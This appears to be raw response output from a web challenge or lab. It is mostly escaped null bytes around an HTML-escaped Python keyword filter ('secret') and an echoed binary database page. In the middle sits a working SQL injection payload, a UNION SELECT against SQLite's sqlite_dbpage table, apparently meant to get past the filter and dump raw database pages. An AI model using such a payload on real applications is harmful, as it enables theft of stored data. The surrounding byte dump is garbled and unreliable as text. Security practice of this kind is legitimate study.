\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x008\x01\x02yAlpaca{Harder_version: `if &amp;#34;secret&amp;#34; in value.lower()`}&amp;#39;!
&amp;#39; UNION SELECT data, 1 FROM sqlite_dbpage WHERE pgno=5 --
Hello, b&amp;#39;\n\x00\x00\x00\x01\x0f\xc6\x00\x0f\xc6\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x